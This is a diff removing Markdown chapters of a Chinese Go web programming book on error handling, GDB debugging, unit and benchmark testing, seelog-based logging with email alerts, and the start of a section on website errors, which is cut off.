@@ -1,6 +0,0 @@
# 10.4 小结
通过这一章的介绍读者应该对如何操作i18n有了深入的了解我也根据这一章介绍的内容实现了一个开源的解决方案go-i18nhttps://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方请一起参与到这个开源项目中来让我们的这个库争取成为Go的标准库。
## links
* [目录](<preface.md>)
* 上一节: [国际化站点](<10.3.md>)
* 下一节: [错误处理,故障排除和测试](<11.0.md>)

View File

@@ -1,19 +0,0 @@
# 11 错误处理,调试和测试
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统几乎都是花费大量的时间在进行故障排除和测试外界都觉得我们程序员是设计师能够把一个系统从无做到有是一项很伟大的工作而且是相当有趣的工作但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题那么你就有可能将排错时间减到最少而尽可能的将时间花费在更有价值的事情上。
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。
开发Web应用过程中错误自然难免那么如何更好的找到错误原因解决问题呢11.1小节将介绍Go语言中如何处理错误如何设计自己的包、函数的错误处理11.2小节将介绍如何使用GDB来调试我们的程序动态运行情况下各种变量信息运行情况的监控和调试。
11.3小节将对Go语言中的单元测试进行深入的探讨并示例如何来编写单元测试Go的单元测试规则规范如何定义以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。
长期以来培养良好的调试、测试习惯一直是很多程序员逃避的事情所以现在你不要再逃避了就从你现在的项目开发从学习Go Web开发开始养成良好的习惯。
## 目录
![](images/navi11.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十章总结](<10.4.md>)
* 下一节: [错误处理](<11.1.md>)

View File

@@ -1,200 +0,0 @@
# 11.1 错误处理
Go语言主要的设计准则是简洁、明白简洁是指语法和C类似相当的简单明白是指任何语句都是很明显的不含有任何隐含的东西在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误但是对于使用者来说不查看相应的API说明文档根本搞不清楚这个返回值究竟代表什么意思比如:返回0是成功还是失败,而Go定义了一个叫做error的类型来显式表达错误。在使用时通过把返回的error变量与nil的比较来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量
func Open(name string) (file *File, err error)
下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息:
f, err := os.Open("filename.ext")
if err != nil {
log.Fatal(err)
}
类似于`os.Open`函数标准包中所有可能出错的API都会返回一个error变量以方便错误处理这个小节将详细地介绍error类型的设计和讨论开发Web应用中如何更好地处理error。
## Error类型
error类型是一个接口类型这是它的定义
type error interface {
Error() string
}
error是一个内置的接口类型我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString
// errorString is a trivial implementation of error.
type errorString struct {
s string
}
func (e *errorString) Error() string {
return e.s
}
你可以通过`errors.New`把一个字符串转化为errorString以得到一个满足接口error的对象其内部实现如下
// New returns an error that formats as the given text.
func New(text string) error {
return &errorString{text}
}
下面这个例子演示了如何使用`errors.New`:
func Sqrt(f float64) (float64, error) {
if f < 0 {
return 0, errors.New("math: square root of negative number")
}
// implementation
}
在下面的例子中我们在调用Sqrt的时候传递的一个负数然后就得到了non-nil的error对象将此对象与nil比较结果为true所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码:
f, err := Sqrt(-1)
if err != nil {
fmt.Println(err)
}
## 自定义Error
通过上面的介绍我们知道error是一个interface所以在实现自己的包的时候通过定义实现此接口的结构我们就可以实现自己的错误定义请看来自Json包的示例
type SyntaxError struct {
msg string // 错误描述
Offset int64 // 错误发生的位置
}
func (e *SyntaxError) Error() string { return e.msg }
Offset字段在调用Error的时候不会被打印但是我们可以通过类型断言获取错误类型然后可以打印相应的错误信息请看下面的例子:
if err := dec.Decode(&val); err != nil {
if serr, ok := err.(*json.SyntaxError); ok {
line, col := findLine(f, serr.Offset)
return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
}
return err
}
需要注意的是函数返回自定义错误时返回值推荐设置为error类型而非自定义错误类型特别需要注意的是不应预声明自定义错误类型的变量。例如
func Decode() *SyntaxError { // 错误将可能导致上层调用者err!=nil的判断永远为true。
var err *SyntaxError // 预声明错误变量
if 出错条件 {
err = &SyntaxError{}
}
return err // 错误err永远等于非nil导致上层调用者err!=nil的判断始终为true
}
原因见 http://golang.org/doc/faq#nil_error
上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢此时我们来参考一下net包采用的方法
package net
type Error interface {
error
Timeout() bool // Is the error a timeout?
Temporary() bool // Is the error temporary?
}
在调用的地方通过类型断言err是不是net.Error,来细化错误的处理例如下面的例子如果一个网络发生临时性错误那么将会sleep 1秒之后重试
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
time.Sleep(1e9)
continue
}
if err != nil {
log.Fatal(err)
}
## 错误处理
Go在错误处理上采用了与C类似的检查返回值的方式而不是其他多数主流语言采用的异常方式这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。
请看下面这个例子代码:
func init() {
http.HandleFunc("/view", viewRecord)
}
func viewRecord(w http.ResponseWriter, r *http.Request) {
c := appengine.NewContext(r)
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
record := new(Record)
if err := datastore.Get(c, key, record); err != nil {
http.Error(w, err.Error(), 500)
return
}
if err := viewTemplate.Execute(w, record); err != nil {
http.Error(w, err.Error(), 500)
}
}
上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`返回给客户端500错误码并显示相应的错误数据。但是当越来越多的HandleFunc加入之后这样的错误处理逻辑代码就会越来越多其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。
type appHandler func(http.ResponseWriter, *http.Request) error
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if err := fn(w, r); err != nil {
http.Error(w, err.Error(), 500)
}
}
上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数:
func init() {
http.Handle("/view", appHandler(viewRecord))
}
当请求/view的时候我们的逻辑处理可以变成如下代码和第一种实现方式相比较已经简单了很多。
func viewRecord(w http.ResponseWriter, r *http.Request) error {
c := appengine.NewContext(r)
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
record := new(Record)
if err := datastore.Get(c, key, record); err != nil {
return err
}
return viewTemplate.Execute(w, record)
}
上面的例子错误处理的时候所有的错误返回给用户的都是500错误码然后打印出来相应的错误代码其实我们可以把这个错误信息定义的更加友好调试的时候也方便定位问题我们可以自定义返回的错误类型
type appError struct {
Error error
Message string
Code int
}
这样我们的自定义路由器可以改成如下方式:
type appHandler func(http.ResponseWriter, *http.Request) *appError
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if e := fn(w, r); e != nil { // e is *appError, not os.Error.
c := appengine.NewContext(r)
c.Errorf("%v", e.Error)
http.Error(w, e.Message, e.Code)
}
}
这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式:
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
c := appengine.NewContext(r)
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
record := new(Record)
if err := datastore.Get(c, key, record); err != nil {
return &appError{err, "Record not found", 404}
}
if err := viewTemplate.Execute(w, record); err != nil {
return &appError{err, "Can't display record", 500}
}
return nil
}
如上所示在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息虽然这个和第一个版本的代码量差不多但是这个显示的错误更加明显提示的错误信息更加友好扩展性也比第一个更好。
## 总结
在程序设计中容错是相当重要的一部分工作在Go中它是通过错误处理来实现的error虽然只是一个接口但是其变化却可以有很多我们可以根据自己的需求来实现不同的处理最后介绍的错误处理方案希望能给大家在如何设计更好Web错误处理方案上带来一点思路。
## links
* [目录](<preface.md>)
* 上一节: [错误处理,调试和测试](<11.0.md>)
* 下一节: [使用GDB调试](<11.2.md>)

View File

@@ -1,249 +0,0 @@
# 11.2 使用GDB调试
开发程序过程中调试代码是开发者经常要做的一件事情Go语言不像PHP、Python等动态语言只要修改不需要编译就可以直接输出而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试但是每次都需要重新编译这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试Javascript也有类似工具这些工具都能够动态的显示变量信息单步调试等。不过庆幸的是Go也有类似的工具支持GDB。Go内部已经内置支持了GDB所以我们可以通过GDB来进行调试那么本小节就来介绍一下如何通过GDB来调试Go程序。
## GDB调试简介
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情
1. 启动程序,可以按照开发者的自定义要求运行程序。
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
3. 当程序被停住时,可以检查此时程序中所发生的事。
4. 动态的改变当前程序的执行环境。
目前支持调试Go程序的GDB版本必须大于7.1。
编译Go程序的时候需要注意以下几点
1. 传递参数-ldflags "-s"忽略debug的打印信息
2. 传递-gcflags "-N -l" 参数这样可以忽略Go内部做的一些优化聚合变量和函数等优化这样对于GDB调试来说非常困难所以在编译的时候加入这两个参数避免这些优化。
## 常用命令
GDB的一些常用命令如下所示
- list
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`显示十行代码其中第15行在显示的十行里面的中间如下所示。
10 time.Sleep(2 * time.Second)
11 c <- i
12 }
13 close(c)
14 }
15
16 func main() {
17 msg := "Starting main"
18 fmt.Println(msg)
19 bus := make(chan int)
- break
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。
- delete
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。
Num Type Disp Enb Address What
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time
- backtrace
简写命令 `bt`,用来打印执行的代码过程,如下所示:
#0 main.main () at /home/xiemengjun/gdb.go:23
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3 0x0000000000000000 in ?? ()
- info
info命令用来显示信息后面有几种参数我们常用的有如下几种
- `info locals`
显示当前执行的程序中的变量值
- `info breakpoints`
显示当前设置的断点列表
- `info goroutines`
显示当前执行的goroutine列表如下代码所示,带*的表示当前执行的
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
- print
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap()用来返回当前string、slices或者maps的长度和容量。
- whatis
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下:
type = struct string
- next
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行
- coutinue
简称命令 `c`用来跳出当前断点处后面可以跟参数N跳过多少次断点
- set variable
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>`
## 调试过程
我们通过下面这个代码来演示如何通过GDB来调试Go程序下面是将要演示的代码
package main
import (
"fmt"
"time"
)
func counting(c chan<- int) {
for i := 0; i < 10; i++ {
time.Sleep(2 * time.Second)
c <- i
}
close(c)
}
func main() {
msg := "Starting main"
fmt.Println(msg)
bus := make(chan int)
msg = "starting a gofunc"
go counting(bus)
for count := range bus {
fmt.Println("count:", count)
}
}
编译文件生成可执行文件gdbfile:
go build -gcflags "-N -l" gdbfile.go
通过gdb命令启动调试
gdb gdbfile
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的:
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点:
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
上面例子`b 23`表示在第23行设置了断点之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始:
(gdb) list
18 fmt.Println(msg)
19 bus := make(chan int)
20 msg = "starting a gofunc"
21 go counting(bus)
22 for count := range bus {
23 fmt.Println("count:", count)
24 }
25 }
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息我们只需打印出相应的变量查看相应变量的类型及值
(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
接下来该让程序继续往下执行,请继续看下面的命令
(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
每次输入`c`之后都会执行一次代码又跳到下一次for循环继续打印出来相应的信息。
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:
(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
最后稍微思考一下前面整个程序运行的过程中到底创建了多少个goroutine每个goroutine都在做什么
(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的每个函数的调用顺序已经明明白白地显示出来了。
## 小结
本小节我们介绍了GDB调试Go程序的一些基本命令包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令通过上面的例子演示我相信读者已经对于通过GDB调试Go程序有了基本的理解如果你想获取更多的调试技巧请参考官方网站的GDB调试手册还有GDB官方网站的手册。
## links
* [目录](<preface.md>)
* 上一节: [错误处理](<11.1.md>)
* 下一节: [Go怎么写测试用例](<11.3.md>)

View File

@@ -1,149 +0,0 @@
# 11.3 Go怎么写测试用例
开发程序其中很重要的一点是测试我们如何保证代码的质量如何保证每个函数是可运行运行结果是正确的又如何保证写出来的代码性能是好的我们知道单元测试的重点在于发现程序设计或实现的逻辑错误使问题及早暴露便于问题的定位解决而性能测试的重点在于发现程序设计上的一些问题让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。
Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。
## 如何编写测试用例
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。
接下来我们在该目录下面创建两个文件gotest.go和gotest_test.go
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算:
package gotest
import (
"errors"
)
func Division(a, b float64) (float64, error) {
if b == 0 {
return 0, errors.New("除数不能为0")
}
return a / b, nil
}
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则:
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码
- 你必须import `testing`这个包
- 所有的测试用例函数必须是`Test`开头
- 测试用例会按照源代码中写的顺序依次执行
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。
- 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。
下面是我们的测试用例的代码:
package gotest
import (
"testing"
)
func Test_Division_1(t *testing.T) {
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错
} else {
t.Log("第一个测试通过了") //记录一些你期望记录的信息
}
}
func Test_Division_2(t *testing.T) {
t.Error("就是不通过")
}
我们在项目目录下面执行`go test`,就会显示如下信息:
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.013s
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.012s
上面的输出详细的展示了这个测试的过程我们看到测试函数1`Test_Division_1`测试通过而测试函数2`Test_Division_2`测试失败了最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码
func Test_Division_2(t *testing.T) {
if _, e := Division(6, 0); e == nil { //try a unit test on function
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错
} else {
t.Log("one test passed.", e) //记录一些你期望记录的信息
}
}
然后我们执行`go test -v`,就显示如下信息,测试通过了:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go:20: one test passed. 除数不能为0
PASS
ok gotest 0.013s
## 如何编写压力测试
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点:
- 压力测试用例必须遵循如下格式其中XXX可以是任意字母数字的组合但是首字母不能是小写字母
func BenchmarkXXX(b *testing.B) { ... }
- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行
- 文件名也必须以`_test.go`结尾
下面我们新建一个压力测试文件webbench_test.go代码如下所示
package gotest
import (
"testing"
)
func Benchmark_Division(b *testing.B) {
for i := 0; i < b.N; i++ { //use b.N for looping
Division(4, 5)
}
}
func Benchmark_TimeConsumingFunction(b *testing.B) {
b.StopTimer() //调用该函数停止压力测试的时间计数
//做一些初始化的工作,例如读取文件数据,数据库连接之类的,
//这样这些时间不影响我们测试函数本身的性能
b.StartTimer() //重新开始时间
for i := 0; i < b.N; i++ {
Division(4, 5)
}
}
我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果:
PASS
Benchmark_Division 500000000 7.76 ns/op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op
ok gotest 9.364s
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。
## 小结
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。
## links
* [目录](<preface.md>)
* 上一节: [使用GDB调试](<11.2.md>)
* 下一节: [小结](<11.4.md>)

View File

@@ -1,7 +0,0 @@
# 11.4 小结
本章我们通过三个小节分别介绍了Go语言中如何处理错误如何设计错误处理然后第二小节介绍了如何通过GDB来调试程序通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助但是对于你编写出来的程序代码保持高质量是至关重要的因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。
## links
* [目录](<preface.md>)
* 上一节: [Go怎么写测试用例](<11.3.md>)
* 下一节: [部署与维护](<12.0.md>)

View File

@@ -1,11 +0,0 @@
# 12 部署与维护
到目前为止我们前面已经介绍了如何开发程序、调试程序以及测试程序正如人们常说的开发最后的10%需要花费90%的时间所以这一章我们将强调这最后的10%部分要真正成为让人信任并使用的优秀应用需要考虑到一些细节以上所说的10%就是指这些小细节。
本章我们将通过四个小节来介绍这些小细节的处理第一小节介绍如何在生产服务上记录程序产生的日志如何记录日志第二小节介绍发生错误时我们的程序如何处理如何保证尽量少的影响到用户的访问第三小节介绍如何来部署Go的独立程序由于目前Go程序还无法像C那样写成daemon那么我们如何管理这样的进程程序后台运行呢第四小节将介绍应用数据的备份和恢复尽量保证应用在崩溃的情况能够保持数据的完整性。
## 目录
![](images/navi12.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十一章总结](<11.4.md>)
* 下一节: [应用日志](<12.1.md>)

View File

@@ -1,166 +0,0 @@
# 12.1 应用日志
我们期望开发的Web应用程序能够把整个程序运行过程中出现的各种事件一一记录下来Go语言中提供了一个简易的log包我们使用该包可以方便的实现日志记录的功能这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印、抛出错误处理。Go目前标准包只是包含了简单的功能如果我们想把我们的应用日志保存到文件然后又能够结合日志实现很多复杂的功能编写过Java或者C++的读者应该都使用过log4j和log4cpp之类的日志工具可以使用第三方开发的一个日志系统`https://github.com/cihub/seelog`,它实现了很强大的日志功能。接下来我们介绍如何通过该日志系统来实现我们应用的日志功能。
## seelog介绍
seelog是用Go语言实现的一个日志系统它提供了一些简单的函数来实现复杂的日志分配、过滤和格式化。主要有如下特性
- XML的动态配置可以不用重新编译程序而动态的加载配置信息
- 支持热更新,能够动态改变配置而不需要重启应用
- 支持多输出流,能够同时把日志输出到多种流中、例如文件流、网络流等
- 支持不同的日志输出
- 命令行输出
- 文件输出
- 缓存输出
- 支持log rotate
- SMTP邮件
上面只列举了部分特性seelog是一个特别强大的日志处理系统详细的内容请参看官方wiki。接下来我将简要介绍一下如何在项目中使用它
首先安装seelog
go get -u github.com/cihub/seelog
然后我们来看一个简单的例子:
package main
import log "github.com/cihub/seelog"
func main() {
defer log.Flush()
log.Info("Hello from Seelog!")
}
编译后运行如果出现了`Hello from seelog`说明seelog日志系统已经成功安装并且可以正常运行了。
## 基于seelog的自定义日志处理
seelog支持自定义日志处理下面是我基于它自定义的日志处理包的部分内容
package logs
import (
"errors"
"fmt"
seelog "github.com/cihub/seelog"
"io"
)
var Logger seelog.LoggerInterface
func loadAppConfig() {
appConfig := `
<seelog minlevel="warn">
<outputs formatid="common">
<rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
<filter levels="critical">
<file path="/data/logs/critical.log" formatid="critical"/>
<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
<recipient address="xiemengjun@gmail.com"/>
</smtp>
</filter>
</outputs>
<formats>
<format id="common" format="%Date/%Time [%LEV] %Msg%n" />
<format id="critical" format="%File %FullPath %Func %Msg%n" />
<format id="criticalemail" format="Critical error on our server!\n %Time %Date %RelFile %Func %Msg \nSent by Seelog"/>
</formats>
</seelog>
`
logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
if err != nil {
fmt.Println(err)
return
}
UseLogger(logger)
}
func init() {
DisableLog()
loadAppConfig()
}
// DisableLog disables all library log output
func DisableLog() {
Logger = seelog.Disabled
}
// UseLogger uses a specified seelog.LoggerInterface to output library log.
// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
Logger = newLogger
}
上面主要实现了三个函数,
- `DisableLog`
初始化全局变量Logger为seelog的禁用状态主要为了防止Logger被多次初始化
- `loadAppConfig`
根据配置文件初始化seelog的配置信息这里我们把配置文件通过字符串读取设置好了当然也可以通过读取XML文件。里面的配置说明如下
- seelog
minlevel参数可选如果被配置,高于或等于此级别的日志会被记录同理maxlevel。
- outputs
输出信息的目的地这里分成了两份数据一份记录到log rotate文件里面。另一份设置了filter如果这个错误级别是critical那么将发送报警邮件。
- formats
定义了各种日志的格式
- `UseLogger`
设置当前的日志器为相应的日志处理
上面我们定义了一个自定义的日志处理包,下面就是使用示例:
package main
import (
"net/http"
"project/logs"
"project/configs"
"project/routes"
)
func main() {
addr, _ := configs.MainConfig.String("server", "addr")
logs.Logger.Info("Start server at:%v", addr)
err := http.ListenAndServe(addr, routes.NewMux())
logs.Logger.Critical("Server err:%v", err)
}
## 发生错误发送邮件
上面的例子解释了如何设置发送邮件我们通过如下的smtp配置用来发送邮件
<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
<recipient address="xiemengjun@gmail.com"/>
</smtp>
邮件的格式通过criticalemail配置然后通过其他的配置发送邮件服务器的配置通过recipient配置接收邮件的用户如果有多个用户可以再添加一行。
要测试这个代码是否正常工作,可以在代码中增加类似下面的一个假消息。不过记住过后要把它删除,否则上线之后就会收到很多垃圾邮件。
logs.Logger.Critical("test Critical message")
现在只要我们的应用在线上记录一个Critical的信息你的邮箱就会收到一个Email这样一旦线上的系统出现问题你就能立马通过邮件获知就能及时的进行处理。
## 使用应用日志
对于应用日志,每个人的应用场景可能会各不相同,有些人利用应用日志来做数据分析,有些人利用应用日志来做性能分析,有些人来做用户行为分析,还有些就是纯粹的记录,以方便应用出现问题的时候辅助查找问题。
举一个例子,我们需要跟踪用户尝试登陆系统的操作。这里会把成功与不成功的尝试都记录下来。记录成功的使用"Info"日志级别,而不成功的使用"warn"级别。如果想查找所有不成功的登陆我们可以利用linux的grep之类的命令工具如下
# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password
通过这种方式我们就可以很方便的查找相应的信息这样有利于我们针对应用日志做一些统计和分析。另外我们还需要考虑日志的大小对于一个高流量的Web应用来说日志的增长是相当可怕的所以我们在seelog的配置文件里面设置了logrotate这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题。
## 小结
通过上面对seelog系统及如何基于它进行自定义日志系统的学习现在我们可以很轻松的随需构建一个合适的功能强大的日志处理系统了。日志处理系统为数据分析提供了可靠的数据源比如通过对日志的分析我们可以进一步优化系统或者应用出现问题时方便查找定位问题另外seelog也提供了日志分级功能通过对minlevel的配置我们可以很方便的设置测试或发布版本的输出消息级别。
## links
* [目录](<preface.md>)
* 上一章: [部署与维护](<12.0.md>)
* 下一节: [网站错误处理](<12.2.md>)

View File

@@ -1,124 +0,0 @@
# 12.2 网站错误处理
我们的Web应用一旦上线之后那么各种错误出现的概率都有Web应用日常运行中可能出现多种错误具体如下所示
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。
- 查询错误使用的SQL非法导致错误这样子SQL错误如果程序经过严格的测试应该可以避免。
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下:
- 文件系统和权限应用读取不存在的文件或者读取没有权限的文件、或者写入一个不允许写入的文件这些都会导致一个错误。应用读取的文件如果格式不正确也会报错例如配置文件应该是ini的配置格式而设置成了json格式就会报错。
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。
